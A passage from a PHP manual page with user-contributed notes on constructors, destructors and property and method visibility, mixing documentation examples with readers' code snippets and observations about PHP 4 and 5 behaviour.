Notice how subclass definitions are really short - no variables or functions at all, and there is no private __construct() method anywhere? Notice how objects of type Dog, Cat, and Bird are all sorted by our base class Animal? All the class definitions above address several issues (keeping objects from being instantiated) and enforces the desired, consistent, and reliable behavior everytime... with the least amount of code. In addition, new extenstions can easily be created. Each subclass is now super easy to redefine or even extend... now that you can see a way to do it.
KK 16-May-2008 10:57
I ran into an interesting (and subtle) code error while porting some code to PHP 5.2.5 from PHP 4.4.8 that I think illustrates a noteworthy semantic.

I have a hierarchy of classes with both styles of constructors but where one in the middle was missing the __construct() function (it just had the old-style one that called the (nonexistent) __construct()).  It worked fine in PHP4 but caused an endless loop (and stack overflow) in PHP5.  I believe what happened is that in PHP4 the old-style constructor was not called, but in PHP5 it was (due to the "emulation" of PHP4), and since _construct() wasn't defined for that class, the call to $this->__construct() caused a looping call to the original (lowest child) constructor.
bolshun at mail dot ru 17-Apr-2008 03:13
Ensuring that instance of some class will be available in destructor of some other class is easy: just keep a reference to that instance in this other class.
ashnazg at php dot net 12-Apr-2008 07:26
Since my last note, I've been instructed to _NEVER_ call "unset($this)", never ever ever.  Since my previous testing of behavior did not explicitly show me that it was indeed necessary, I'm inclined to trust those telling me not to do it.
ashnazg at php dot net 28-Feb-2008 11:39
While experimenting with destructs and unsets in relation to memory usage, I found what seems to be one useful way to predict when __destruct() gets called... call it manually yourself.

I had previously assumed that explicitly calling unset($foo) would cause $foo->__destruct() to run implicitly, but that was not the behavior I saw (php 5.2.5).  The destructors weren't running until the script ended, even though I was calling unset($foo) in the middle of my script.  So, having $foo->__destruct() unset all of $foo's component objects was not helping my memory usage since my explicit unset($foo) was _not_ triggering $foo->__destruct()'s cleanup steps.

Interestingly, what _did_ appear to happen is that calling unset($bar) from inside a destructor like $foo->__destruct() _DID_ cause $bar->__destruct() to be implicitly executed.  Perhaps this is because $bar has a "parent" reference of $foo whereas $foo does not, and the object destruction behaves differently... I don't know.

Lastly, even after explicitly calling $foo->__destruct() (even when it had "unset($this);" inside it), the reference to the $foo object remained visible.  I had to still explicitly call unset($foo) to get rid of it.

So, my advice based on the behavior I saw in my experiments:
- always unset($bar) your class's component objects from inside that class's __destruct() method;  no explicit component destructor calls seem to be required other than those unsets, though.
- always explicitly call $foo->__destruct() in your code that _uses_ your class
- always explicitly follow $foo->__destruct() with unset($foo).

This seems to be the best cleanup approach to take.  Just for my own sanity, I also will always keep an unset($this) at the end of each __destruct() method.
nerdystudmuffin at gmail dot com 09-Jan-2008 08:11
Correction to the previous poster about non public constructors. If I wanted to implement Singleton design pattern where I would only want one instance of the class I would want to prevent instantiation of the class from outside of the class by making the constructor private. An example follows:

class Foo {

  private static $instance;

  private __construct() {
    // Do stuff
  }

  public static getInstance() {

    if (!isset(self::$instance)) {
      $c = __CLASS__;
      $instance = new $c;
    }

    return self::$instance;
  }

  public function sayHello() {
    echo "Hello World!!";
  }

}

$bar = Foo::getInstance();

// Prints 'Hello World' on the screen.
$bar -> sayHello();
david at synatree dot com 29-Dec-2007 10:26
When a script is in the process of die()ing, you can't count on the order in which __destruct() will be called.

For a script I have been working on, I wanted to do transparent low-level encryption of any outgoing data.  To accomplish this, I used a global singleton class configured like this:

class EncryptedComms
{
    private $C;
    private $objs = array();
    private static $_me;

    public static function destroyAfter(&$obj)
    {
        self::getInstance()->objs[] =& $obj;
        /*
            Hopefully by forcing a reference to another object to exist
            inside this class, the referenced object will need to be destroyed
            before garbage collection can occur on this object.  This will force
            this object's destruct method to be fired AFTER the destructors of
            all the objects referenced here.
        */
    }
    public function __construct($key)
    {
            $this->C = new SimpleCrypt($key);
            ob_start(array($this,'getBuffer'));
    }
    public static function &getInstance($key=NULL)
    {
        if(!self::$_me && $key)
            self::$_me = new EncryptedComms($key);
        else
            return self::$_me;
    }

    public function __destruct()
    {
        ob_end_flush();
    }

    public function getBuffer($str)
    {
        return $this->C->encrypt($str);
    }

}

In this example, I tried to register other objects to always be destroyed just before this object.  Like this:

class A
{

public function __construct()
{
     EncryptedComms::destroyAfter($this);
}
}

One would think that the references to the objects contained in the singleton would be destroyed first, but this is not the case.  In fact, this won't work even if you reverse the paradigm and store a reference to EncryptedComms in every object you'd like to be destroyed before it.

In short, when a script die()s, there doesn't seem to be any way to predict the order in which the destructors will fire.
Typer85 at gmail dot com 22-Dec-2007 06:31
In regards to a Class Constructor visibility ...

I too was having the same problem with Class Constructor visibility, in which I had one Class that was extended by several other Classes. The problem that I encountered was in one of the Child Classes, I wanted a weaker visibility. Consider the following example:

<?php

class A {

    // Public Constructor ...
    // No Problems Here.

    public function __construct( ) {

    }

    // Class Function.

    public function functionA( ) {

    }
}

class B extends A {

    // Public Constructor ...
    // Same As Parent Class ...
    // Again No Problems Here.

    public function __construct( ) {

    }

    // Class Function.

    public function functionB( ) {

    }
}

class C extends A {

    // Private Constructor ...
    // Weaker Then Parent Class ...
    // PHP Will Throw A Fatal Error.

    private function __construct( ) {

    }

    // Class Function.

    public function functionC( ) {

    }
}

?>

Nothing new in the above example that we have not seen before. My solution to solve this problem?

Create an Abstract Class with all the functionality of Class A.  Make its Class Constructor have a visibility of Protected, then extend each of the three Classes above from that Abstract Class. In a way, the Abstract Class acts as a dummy Class to get rid of the visibility problem:

<?php

abstract class AAbstract {

    // Protected Constructor ...
    // Abstract Class Can Not Be Created Anyway ...
    // No Problems Here.

    protected function __construct( ) {

    }

    // Class Function ...
    // Originally In Class A ...
    // Which Was Used As A Super Class.

    public function functionA( ) {

    }
}

class A extends AAbstract {

    // Public Constructor ...
    // Stronger Than Parent Class ...
    // Again No Problems Here.

    public function __construct( ) {

        // By Moving All The Functionality Of
        // Class A To Class AAbstract Class A
        // Will Automatically Inherit All Of
        // Its Functionality. The Only Thing
        // Left To Do Is To Create A Constructor
        // Which Calls Class AABstract's Constructor
        // To Mimic Similar Behavior.

        parent::__construct( );
    }

    // No Need To Redeclare functionA( )
    // Since It Was Moved To Class
    // AAbstract.
}

class B extends AAbstract  {

    // Public Constructor ...
    // Stronger Than Parent Class ...
    // Again No Problems Here.

    public function __construct( ) {

        parent::__construct( );
    }

    // Class Function ...
    // Specific To This Class.

    public function functionB( ) {

    }
}

class C extends AAbstract {

    // Protected Constructor ...
    // Same As Parent Class ...
    // Again No Problems Here.

    protected function __construct( ) {

    }

    // Class Function ...
    // Specific To This Class.

    public function functionC( ) {

    }
}

?>

As you can see the problem is more or less fixed. Class AAbstract acts a dummy class, containing all the original functionality of Class A. But because it has a protected Constructor, in order to make its functionality available, Class A is redeclared as Child Class with the only difference of it having a public Constructor that automatically calls the Parent Constructor.

Notice that Class B does not extend from Class A but also from Class AAbstract! If I wanted to change Class B's Constructor to protected, I can easily do it! Notice that an extra Method was added to Class B ... this is because Class B has extra functionality specific to itself. Same applies to Class C.

Why don't Class B and Class C extend from Class A? Because Class A has a public Constructor, which pretty much defies the point of this solution.

This solution is not perfect however and has some flaws.

Good Luck,
James Laver 25-Oct-2007 11:45
I recently found, while implementing a database backed session class, that PHP has an apparently less than desirably structured destruction order. Basically, my session class which would have saved when destructed, was being destructed after one of the classes it depends on. Apparently we cannot, therefore depend on PHP to use reverse initialisation order.

My solution was to use register_shutdown_function, which is called before any objects are killed on script end.

Quick example (if you're going to use it, I recommend tidying up the code somewhat) :
<?php
class Session
  function __construct()
  {
    //Initialise the session here...

    //Register the shutdown function
    register_shutdown_function(array($this,"save"));
  }

  function save()
  {
    //Save it here
  }

  function __destruct()
  {
    //Persisting the session here will not work.
  }
?>
magus do t xion a t g mail d ot c o m 11-Oct-2007 09:20
Looking through the notes I noticed a few people expressing concern that PHP5 does not support multiple constructors...

Here is an example of a method that I use which seems to work fine:

class Example
{
     function __construct()
     {
           echo "do some basic stuff here";
     }

     function Example($arg)
     {
           echo $arg;
     }
}

You then can call with or without arguments without having notices and/or warnings thrown at you... Of course this is limited but if you don't need something complex this can help to get the job done in some situations.  I believe you could also add arguments to the __construct() function and as long as it is different than Example() 's args you would be fine. Although I have yet to test this.
prieler at abm dot at 27-Jul-2007 09:42
i have written a quick example about the order of destructors and shutdown functions in php 5.2.1:

<?php
class destruction {
    var $name;

    function destruction($name) {
        $this->name = $name;
        register_shutdown_function(array(&$this, "shutdown"));
    }

    function shutdown() {
        echo 'shutdown: '.$this->name."\n";
    }

    function __destruct() {
        echo 'destruct: '.$this->name."\n";
    }
}

$a = new destruction('a: global 1');

function test() {
    $b = new destruction('b: func 1');
    $c = new destruction('c: func 2');
}
test();

$d = new destruction('d: global 2');

?>

this will output:
shutdown: a: global 1
shutdown: b: func 1
shutdown: c: func 2
shutdown: d: global 2
destruct: b: func 1
destruct: c: func 2
destruct: d: global 2
destruct: a: global 1

conclusions:
destructors are always called on script end.
destructors are called in order of their "context": first functions, then global objects
objects in function context are deleted in order as they are set (older objects first).
objects in global context are deleted in reverse order (older objects last)

shutdown functions are called before the destructors.
shutdown functions are called in there "register" order. ;)

regards, J
fredrik at rambris dot com 16-Jul-2007 03:59
The fact that class names are case-insensitive in PHP5 also applies to constructors. Make sure you don't have any functions named like the class *at all*.

This has bitten me a few times.

<?php
class Example extends Base
{
  function example()
  {
    echo "This gets called";
  }
}

class Base
{
  function __construct()
  {
    echo "Not this";
  }
}

?>
theubaz at gmail dot com 12-Jul-2007 01:35
What you could do is write the constructor without any declared arguments, then iterate through the arguments given and check their types/values to determine what other function to use as the constructor.
soapthgr8 at gmail dot com 06-Jul-2007 04:46
This is just to clarify that the Singleton pattern is a bit more complex than just making the constructor private. It also involves caching an instance of the object and always returning the cached value. So, in the previous example, the getNewInstance() function would undermine the intent of the Singleton pattern. Instead you would just need a getInstance() function, like so.

<?php
class A {
  // cached instance
  private static oInst = null;

  /**
    * Prevent an object from being constructed.
    */
  private function __construct( ) {}
  /**
   * Function to return the instance of this class.
   */
  public static function getInstance( ) {
    if (is_null(self::$oInst)) {
      self::$oInst = new A( );
    }
    return self::$oInst;
  }
}
?>
frederic dot barboteu at laposte dot net 15-Apr-2007 04:11
The manual says:
"Like constructors, parent destructors will not be called implicitly by the engine."

This is true ONLY when a __destruct() function has been defined by the child class.
If no __destruct() function exists in the child class, the parent's one will be implicitly executed.

So be carefull if you have some ancestor executing a particular task in its __destruct() function, an you plan its childs to execute it or not, wether you include "parent::__destruct()" or not.
If you want the child not to execute its parent __destruct() function, you must ensure that it has its own __destruct() function, even if empty. Then the parent's one will not be executed.

This can be verified with the following code:
<?php
#
class AncestorClass {
    function __destruct() {
        echo '<br />AncestorClass: destructing '.get_class($this);
    }
}
#
class ParentDestructClass extends AncestorClass {
    function __destruct() {
        echo 'ParentDestructClass: destructing itself';
        parent::__destruct();
    }
}
#
class EmptyDestructClass extends AncestorClass {
    function __destruct() {
        echo 'EmptyDestructClass: destructing itself';
    }
}
#
class NoDestructClass extends AncestorClass {
}
#---
echo '<hr>';
$p=new ParentDestructClass();
unset($p);
echo '<hr>';
$e=new EmptyDestructClass();
unset($e);
echo '<hr>';
$n=new NoDestructClass();
unset($n);
echo '<hr>';
?>
which displays:
---
ParentDestructClass: destructing itself
AncestorClass: destructing ParentDestructClass
---
EmptyDestructClass: destructing itself
---

AncestorClass: destructing NoDestructClass
---
phaxius 02-Nov-2006 06:23
Hello, I've been messing with php for about a week but am learning a lot.  It occurred to me that it might be necessary in some cases to write a class that takes a variable number of arguments.  After some experimentation, this example was formed:

class variableArgs{
public $a = array();
protected $numOfArgs;
public function __construct()
{
  $numOfArgs=func_num_args();
  if(func_num_args()==0)
  {
    $numOfArgs=1;
    $a[0]='No arguments passed';
    $this->Arg[0]=$a[0];
  }
  else
  for($i=0; $i<func_num_args(); $i++)
  {
    $a[$i]=func_get_arg($i);
    $this->Arg[$i]=$a[$i];
  }
}
public function showArgs()
{
  echo 'showArgs() called <br />';
  for ($i=0; $i<$numOfArgs; $i++)
  {
    echo '$i: ' . $i . '<br />';
    echo $this->Arg[$i];
    echo '<br />';
  }
}
public function __destruct(){}

}

$test1 = new variableArgs;
$test2 = new variableArgs("arg1");
$test3 = new variableArgs("arg1", "arg2");
$test4 = new variableArgs("arg1", "arg2", "arg3");

$test1->showArgs();
$test2->showArgs();
$test3->showArgs();
$test4->showArgs();

This outputs the following:

showArgs() called
$i: 0
No arguments passed
showArgs() called
$i: 0
arg1
showArgs() called
$i: 0
arg1
$i: 1
arg2
showArgs() called
$i: 0
arg1
$i: 1
arg2
$i: 2
arg3

I have no idea how efficient this is, but it works at any rate.  Hopefully this helps someone.
01-Oct-2006 08:03
This is a simple thing to bear in mind but it's also easy to forget it.  When chaining object constructors and destructors, always remember to call the superclass __construct() method in the subclass __construct() so that all superclass members are properly initialized before you start initializing the ones belonging to your subclass.

Also, you will usually want to do your own cleanup first in your subclass __destruct() method so you will probably want to call the superclass __destruct() as the last thing in your subclass so that you can use resources defined in the superclass during the cleanup phase.

For example, if your superclass includes a database connection and your subclass __destruct method commits things to the database then if you call the superclass destruct before doing so then the database connection will no longer be valid and you will be unable to commit your changes.
chanibal at deltasoft dot int dot pl dot SPAMPROTECT 21-Aug-2006 06:56
Note that if a class contains another class, the contained class's destructor will be triggered after the destructor of the containing class.

<?php
class contained {

 protected $parent;

 public function __construct(&$p) {
  # $this->parent=&$p;
  }

 public function __destruct() {
  /* unset $this->parent */
  print 'contained ';
  }
 }

class containing {

 protected $contained;

 public function __construct() {
  $this->contained=new contained($this);
  }

 public function __destruct() {
  // unset($this->contained);
  print 'containing ';
  }
 }

new containing();
?>

Will output
containing contained

After uncommenting the // comment, the output will change to
contained containing

Adding a reference from the contained class to the containing one (the # comment) will not change that, but beware, because it can cause random errors in other destructors in the parts of the script which seem unrelated! (PHP Version 5.1.2)
Reza Mahjourian 10-Jul-2006 11:18
Peter has suggested using static methods to compensate for unavailability of multiple constructors in PHP.  This works fine for most purposes, but if you have a class hierarchy and want to delegate parts of initialization to the parent class, you can no longer use this scheme.  It is because unlike constructors, in a static method you need to do the instantiation yourself.  So if you call the parent static method, you will get an object of parent type which you can't continue to initialize with derived class fields.

Imagine you have an Employee class and a derived HourlyEmployee class and you want to be able to construct these objects out of some XML input too.

<?php
class Employee {
   public function __construct($inName) {
       $this->name = $inName;
   }

   public static function constructFromDom($inDom)
   {
       $name = $inDom->name;
       return new Employee($name);
   }

   private $name;
}

class HourlyEmployee extends Employee {
   public function __construct($inName, $inHourlyRate) {
       parent::__construct($inName);
       $this->hourlyRate = $inHourlyRate;
   }

   public static function constructFromDom($inDom)
   {
       // can't call parent::constructFromDom($inDom)
       // need to do all the work here again
       $name = $inDom->name;  // increased coupling
       $hourlyRate = $inDom->hourlyrate;
       return new EmployeeHourly($name, $hourlyRate);
   }

   private $hourlyRate;
}
?>

The only solution is to merge the two constructors in one by adding an optional $inDom parameter to every constructor.
Peter Molnar 18-May-2006 03:24
There were many notes about the inability of defining multiple constructors for the class.

My solution is to define separate static methods for each type of constructor.
<?php
class Vector {
    private $x;
    private $y;

    public function __construct() {
        $this->x = 0;
        $this->y = 0;
    }

    public static function createXY($x, $y) {
        $v = new Vector();
        $v->x = $x;
        $v->y = $y;
        return $v;
    }
}
?>
jcaplan at bogus dot amazon dot com 24-Mar-2006 06:52
__construct and __destruct must be declared public in any class that you intend to instantiate with new.   However, in an abstract (or never-instantiated base) class you can declare them private or protected, and subclasses can still refer to them via parent::__construct (!) (tested in PHP 5.1.2).
derk AT oneindig DOT com 03-Nov-2005 11:02
If a constructor is not present in a child class, php5 will try to call a constructor from the parent class. This behaviour can be used to somewhat simulate constructor chaining.

<?php
abstract class Parent {
    function __construct()
    {
        echo "Parent constructor called\n";
        $this->myConstruct();
    }
}

class Child extends Parent {
    function myConstruct()
    {
        echo " Child 'contructor' called";
    }
}

$c = new Child();
?>

will output:
Parent constructor called
Child 'constructor' called
contact at tcknetwork dot com 21-Sep-2005 09:54
be careful while trying to access files with __destruct() because the base directory (getcwd()) will be the root of your server and not the path of your script, so add before all your path called in __destruct() :
EITHER   dirname($_SERVER["SCRIPT_FILENAME"])."my/path/"
OR      dirname(__FILE__)."my/path/"
         (be careful with includes, it will give the path of the file processed and not the main file)
php dot net at lk2 dot de 13-Aug-2005 06:50
It looks like `echo()`ed output from the __destructor() function is displayed onto screen _before_ other output that the class may have have already sent before.

This can be misleading if you have debug info printed in the destructor but not a problem if you know it.
dominics at gmail dot com 11-Jul-2005 04:12
If you're using E_STRICT error reporting, PHP will tell you if you define both __construct() and an old-style constructor (a function with the same name as the class) together in a class. Note that this occurs even if the old constructor function is abstract or final (for instance, if you were intending to only use it in a sub-class). Be wary of this if you're trying to implement the 'command' design pattern.

The solution? Either turn E_STRICT off (and possibly forgo some other important notices), rename your function (and possibly make things a little more complicated), or look at using an interface.
contact at tcknetwork dot com 15-Apr-2005 05:45
Note that php5 use in priority __construct() instead of [classname](). So you could build a constructed/destructed class for php4/5 very easily using this.
<?
class test {
 function test() {
  $this->__construct();
  register_shutdown_function(array($this,"__destruct"));
 }
 function __construct() {
  echo "construct\n";
 }
 function __destruct() {
  echo "destruct\n";
 }
};
$t=new test();
?>
In case you use unset($t) in php4, the destructor is not called. so be careful.
apfelsaft 30-Mar-2005 10:59
at the end of a script all remaining objects aren't in fact destructed. it is only their __destruct() method, which will be called. the objects still exist after that.

so, if your database connection object has no __destruct() or at least it doesn't disconnects the database, it will still work.

in general, there is no need to disconnect the database (especially for persistent connections).


Visibility

The visibility of a property or method can be defined by prefixing the declaration with the keywords public, protected or private. Class members declared public can be accessed everywhere. Members declared protected can be accessed only within the class itself and by inherited and parent classes. Members declared as private may only be accessed by the class that defines the member.

Property Visibility

Class properties must be defined as public, private, or protected. If declared using var, the property will be defined as public.

Example #1 Property declaration

<?php
/**
 * Define MyClass
 */
class MyClass
{
    public $public = 'Public';
    protected $protected = 'Protected';
    private $private = 'Private';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj = new MyClass();
echo $obj->public; // Works
echo $obj->protected; // Fatal Error
echo $obj->private; // Fatal Error
$obj->printHello(); // Shows Public, Protected and Private

/**
 * Define MyClass2
 */
class MyClass2 extends MyClass
{
    // We can redeclare the public and protected method, but not private
    protected $protected = 'Protected2';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj2 = new MyClass2();
echo $obj2->public; // Works
echo $obj2->protected; // Fatal Error
echo $obj2->private; // Undefined
$obj2->printHello(); // Shows Public, Protected2, Undefined

?>

Note: The PHP 4 method of declaring a variable with the var keyword is still supported for compatibility reasons (as a synonym for the public keyword). In PHP 5 before 5.1.3, its usage would generate an E_STRICT warning.

Method Visibility

Class methods may be defined as public, private, or protected. Methods declared without any explicit visibility keyword are defined as public.

Example #2 Method Declaration

<?php
/**
 * Define MyClass
 */
class MyClass
{
    // Declare a public constructor
    public function __construct() { }

    // Declare a public method
    public function MyPublic() { }

    // Declare a protected method
    protected function MyProtected() { }

    // Declare a private method
    private function MyPrivate() { }

    // This is public
    function Foo()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate();
    }
}

$myclass = new MyClass;
$myclass->MyPublic(); // Works
$myclass->MyProtected(); // Fatal Error
$myclass->MyPrivate(); // Fatal Error
$myclass->Foo(); // Public, Protected and Private work

/**
 * Define MyClass2
 */
class MyClass2 extends MyClass
{
    // This is public
    function Foo2()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate(); // Fatal Error
    }
}

$myclass2 = new MyClass2;
$myclass2->MyPublic(); // Works
$myclass2->Foo2(); // Public and Protected work, not Private

class Bar
{
    public function test() {
        $this->testPrivate();
        $this->testPublic();
    }

    public function testPublic() {
        echo "Bar::testPublic\n";
    }

    private function testPrivate() {
        echo "Bar::testPrivate\n";
    }
}

class Foo extends Bar
{
    public function testPublic() {
        echo "Foo::testPublic\n";
    }

    private function testPrivate() {
        echo "Foo::testPrivate\n";
    }
}

$myFoo = new foo();
$myFoo->test(); // Bar::testPrivate
                // Foo::testPublic
?>

Visibility from other objects

Objects of the same type will have access to each others private and protected members even though they are not the same instances. This is because the implementation specific details are already known when inside those objects.

Example #3 Accessing private members of the same object type

<?php
class Test
{
    private $foo;

    public function __construct($foo)
    {
        $this->foo = $foo;
    }

    private function bar()
    {
        echo 'Accessed the private method.';
    }

    public function baz(Test $other)
    {
        // We can change the private property:
        $other->foo = 'hello';
        var_dump($other->foo);

        // We can also call the private method:
        $other->bar();
    }
}

$test = new Test('test');

$test->baz(new Test('other'));
?>

The above example will output:

string(5) "hello"
Accessed the private method.

User Contributed Notes

hasan4it at gmail dot com 04-Mar-2014 04:19
class MyClass
{
    public $public = 'Public';
    protected $protected = 'Protected';
    private $private = 'Private';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj = new MyClass();

print_r($obj)

it gives me the value of all variables
How can I hide this?
thcdesigning at gmail dot com 26-Nov-2013 09:50
Private or not private?
 I get baffled whenever I see this kind of an example.

<?php

class vessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

class smallVessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

$basket = new vessel();
$bucket = new vessel();
$bowl = new smallVessel();

$basket->setThing(array('wine' , 'water' , 'sugar'));

 // returns the contents inside basket unexpectedly
print_r($bucket->getThing($basket));

// returns error, quite rightly so!
print_r($bowl ->getThing($basket));
aluciffer at hotmail dot com 21-Jul-2013 11:08
As far as it regards the properties of objects, visibility is, yes, as the examples show.
Private, protected methods are not accessible via syntax $a->protectedVar, however their values are still (php 5.3.26) accessible through a number of other methods (serializing, converting to array, and nevertheless using the ReflectionClass methods).
As it was pointed out and such as in the example below:
<?php

echo "PHP Version: ".phpversion()."\n";

class Foo
{
   private   $bar  = "value of private var";
   protected $bar2 = "value of protected var";
   public    $bar3 = "value of public var";
}

$obj = new Foo;

echo serialize($obj) . "\n";

print_r($obj);

print_r((array)$obj);

echo ($obj->bar3) . "\n";
echo ($obj->bar2) . "\n";
echo ($obj->bar) . "\n";

?>

It will output:

PHP Version: 5.3.26
O:3:"Foo":3:{s:8:"Foobar";s:20:"value of private var ";s:7:"*bar2";s:22:"value of protected var";s:4:"bar3";s:19:"value of public var";}
Foo Object
(
    [bar:Foo:private] => value of private var
    [bar2:protected] => value of protected var
    [bar3] => value of public var
)

Array
(
    [Foobar] => value of private var
    [*bar2] => value of protected var
    [bar3] => value of public var
)
value of public var

While the last two lines, accessing directly the private and protected object properties (bar2 and bar), will throw out fatal errors like:
PHP Fatal error:  Cannot access private property Foo::$bar
and
PHP Fatal error:  Cannot access protected property Foo::$bar2
andrei at leapingbytes dot net 20-Dec-2012 06:50
Interestingly enough, PHP does very reasonable job in regards to interaction between classes and plain functions (even ones defined in the same file as the class)

<?php

class Test {
    private function foo() {
        echo "Foo" . PHP_EOL;
    }
    protected function bar() {
        echo "bar" . PHP_EOL;
    }

    static function foobar($test) {
        $test->bar(); // works
        $test->foo(); // works
    }
}

function simple_function() {
    $test = new Test();

    $test->bar(); // does not work

    $test->foo(); // does not work

    Test::foobar($test); // works
}

simple_function();
?>
alexaulbach at mayflower dot de 06-Nov-2012 10:32
<?php

error_reporting(E_ALL | E_STRICT |  E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);

class A
{
        private $private = 1;
        public $public = 1;

        function get()
        {
                return "A: $this->private , $this->public\n";
        }

}

class B extends A
{

        function __construct()
        {
                $this->private = 2;
                $this->public = 2;
        }

        function set()
        {
                $this->private = 3;
                $this->public = 3;
        }

        function get()
        {
                return parent::get() . "B: $this->private , $this->public\n";
        }

}

$B = new B;

echo $B->get();
echo $B->set();
echo $B->get();
?>

?>

Result is
A: 1 , 2
B: 2 , 2
A: 1 , 3
B: 3 , 3

This is correct code and does not warn you to use any private.

"$this->private" is only in A private. If you write it in class B it's a runtime declaration of the public variable "$this->private", and PHP doesn't even warn you that you create a variable in a class without declaration, because this is normal behavior.
omega at 2093 dot es 06-Jul-2012 09:04
This has already been noted here, but there was no clear example. Methods defined in a parent class can NOT access private methods defined in a class which inherits from them. They can access protected, though.

Example:

<?php

class ParentClass {

    public function execute($method) {
        $this->$method();
    }

}

class ChildClass extends ParentClass {

    private function privateMethod() {
        echo "hi, i'm private";
    }

    protected function protectedMethod() {
        echo "hi, i'm protected";
    }

}

$object = new ChildClass();

$object->execute('protectedMethod');

$object->execute('privateMethod');

?>

Output:

hi, i'm protected
Fatal error: Call to private method ChildClass::privateMethod() from context 'ParentClass' in index.php on line 6

In an early approach this may seem unwanted behaviour but it actually makes sense. Private can only be accessed by the class which defines, neither parent nor children classes.
jc dot flash at gmail dot com 21-Jun-2012 11:31
if not overwritten, self::$foo in a subclass actually refers to parent's self::$foo
<?php
class one
{
    protected static $foo = "bar";
    public function change_foo($value)
    {
        self::$foo = $value;
    }
}

class two extends one
{
    public function tell_me()
    {
        echo self::$foo;
    }
}
$first = new one;
$second = new two;

$second->tell_me(); // bar
$first->change_foo("restaurant");
$second->tell_me(); // restaurant
?>
IgelHaut 30-May-2012 10:48
<?php
class test {
    public $public = 'Public var';
    protected $protected = 'protected var';
    private $private = 'Private var';

    public static $static_public = 'Public static var';
    protected static $static_protected = 'protected static var';
    private static $static_private = 'Private static var';
}

$class = new test;
print_r($class);
?>

The code prints
test Object ( [public] => Public var [protected:protected] => protected var [private:test:private] => Private var )

Functions like print_r(), var_dump() and var_export() prints public, protected and private variables, but not the static variables.
wbcarts at juno dot com 20-May-2012 05:27
INSIDE CODE and OUTSIDE CODE

<?php

class Item
{
  /**
   * This is INSIDE CODE because it is written INSIDE the class.
   */
  public $label;
  public $price;
}

/**
 * This is OUTSIDE CODE because it is written OUTSIDE the class.
 */
$item = new Item();
$item->label = 'Ink-Jet Tatoo Gun';
$item->price = 49.99;

?>

Ok, that's simple enough... I got it inside and out. The big problem with this is that the Item class is COMPLETELY IGNORANT in the following ways:
* It REQUIRES OUTSIDE CODE to do all the work AND to know what and how to do it -- huge mistake.
* OUTSIDE CODE can cast Item properties to any other PHP types (booleans, integers, floats, strings, arrays, and objects etc.) -- another huge mistake.

Note: we did it correctly above, but what if someone made an array for $price? FYI: PHP has no clue what we mean by an Item, especially by the terms of our class definition above. To PHP, our Item is something with two properties (mutable in every way) and that's it. As far as PHP is concerned, we can pack the entire set of Britannica Encyclopedias into the price slot. When that happens, we no longer have what we expect an Item to be.

INSIDE CODE should keep the integrity of the object. For example, our class definition should keep $label a string and $price a float -- which means only strings can come IN and OUT of the class for label, and only floats can come IN and OUT of the class for price.

<?php

class Item
{
  /**
   * Here's the new INSIDE CODE and the Rules to follow:
   *
   * 1. STOP ACCESS to properties via $item->label and $item->price,
   *    by using the protected keyword.
   * 2. FORCE the use of public functions.
   * 3. ONLY strings are allowed IN & OUT of this class for $label
   *    via the getLabel and setLabel functions.
   * 4. ONLY floats are allowed IN & OUT of this class for $price
   *    via the getPrice and setPrice functions.
   */

  protected $label = 'Unknown Item'; // Rule 1 - protected.
  protected $price = 0.0;            // Rule 1 - protected.

  public function getLabel() {       // Rule 2 - public function.
    return $this->label;             // Rule 3 - string OUT for $label.
  }

  public function getPrice() {       // Rule 2 - public function.
    return $this->price;             // Rule 4 - float OUT for $price.
  }

  public function setLabel($label)   // Rule 2 - public function.
  {
    /**
     * Make sure $label is a PHP string that can be used in a SORTING
     * alogorithm, NOT a boolean, number, array, or object that can't
     * properly sort -- AND to make sure that the getLabel() function
     * ALWAYS returns a genuine PHP string.
     *
     * Using a RegExp would improve this function, however, the main
     * point is the one made above.
     */

    if(is_string($label))
    {
      $this->label = (string)$label; // Rule 3 - string IN for $label.
    }
  }

  public function setPrice($price)   // Rule 2 - public function.
  {
    /**
     * Make sure $price is a PHP float so that it can be used in a
     * NUMERICAL CALCULATION. Do not accept boolean, string, array or
     * some other object that can't be included in a simple calculation.
     * This will ensure that the getPrice() function ALWAYS returns an
     * authentic, genuine, full-flavored PHP number and nothing but.
     *
     * Checking for positive values may improve this function,
     * however, the main point is the one made above.
     */

    if(is_numeric($price))
    {
      $this->price = (float)$price; // Rule 4 - float IN for $price.
    }
  }
}

?>

Now there is nothing OUTSIDE CODE can do to obscure the INSIDES of an Item. In other words, every instance of Item will always look and behave like any other Item complete with a label and a price, AND you can group them together and they will interact without disruption. Even though there is room for improvement, the basics are there, and PHP will not hassle you... which means you can keep your hair!
briank at kappacs dot com 10-Nov-2011 09:20
To make (some) object members read-only outside of the class (revisited using PHP 5 magic __get):

<?php

class ReadOnlyMembers {

    private $reallyPrivate;
    private $justReadOnly;

    function __construct () {
        $this->reallyPrivate = 'secret';
        $this->justReadOnly = 'read only';
    }

    function __get ($what) {
        switch ($what) {
        case 'justReadOnly':
            return $this->$what;

        default:
            # Generate an error, throw an exception, or ...
            return null;
        }
    }

    function __isset ($what) {
        $val = $this->__get($what);
        return isset($val);
    }

}

$rom = new ReadOnlyMembers();

var_dump($rom->justReadOnly);           // string(9) "read only"

$rom->justReadOnly = 'new value';       // Fatal error

var_dump($rom->reallyPrivate);          // Fatal error

?>
php at stage-slash-solutions dot com 11-Jul-2011 12:21
access a protected property:

<?php

//Some library I am not allowed to change:

abstract class a
{
  protected $foo;
}

class aa extends a
{
  function setFoo($afoo)
  {
      $this->foo = $afoo;
  }
}

?>

if you get an instance of aa and need access to $foo:

<?php
class b extends a
{
  function getFoo($ainstance)
  {
      return $ainstance->foo;
  }
}

$aainstance=someexternalfunction();
$binstance=new b;
$aafoo=$binstance->getFoo($aainstance);
?>
Marce! 25-Sep-2009 12:04
Please note that protected methods are also available from sibling classes as long as the method is declared in the common parent. This may also be an abstract method.

In the below example Bar knows about the existence of _test() in Foo because they inherited this method from the same parent. It does not matter that it was abstract in the parent.

<?php
abstract class Base {
